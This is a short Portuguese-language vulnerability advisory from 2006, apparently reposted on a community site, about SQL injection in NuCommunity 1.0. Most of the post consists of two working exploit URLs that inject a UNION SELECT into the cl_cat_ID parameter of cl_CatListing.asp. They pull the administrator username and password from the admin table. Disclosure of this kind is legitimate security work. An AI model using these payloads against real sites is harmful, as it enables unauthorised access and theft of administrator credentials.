NuCommunity: Injeção de Codigos SQL

Avaliação do Usuário: / 0
PiorMelhor 

Por Raphael Martins (Ashiyakuza)

12 de novembro de 2006

Nome do Script: NuCommunity Site do script: http://www.dynamicdataworx.com/Sales/NuCommunity.asp Versão Afetada: 1.0 Encontrado por ajann Email: ajannhwt [at] hotmail.com Exploração: http://target/[path]/cl_CatListing.asp?cl_cat_ID=-1%20union%20select%200,0,0,admin_user%20from%20admin+where+admin_id%20like%20 http://target/[path]/cl_CatListing.asp?cl_cat_ID=-1%20union%20select%200,0,0,admin_password%20from%20admin+where+admin_id%20like%20

 

< Anterior		Próximo >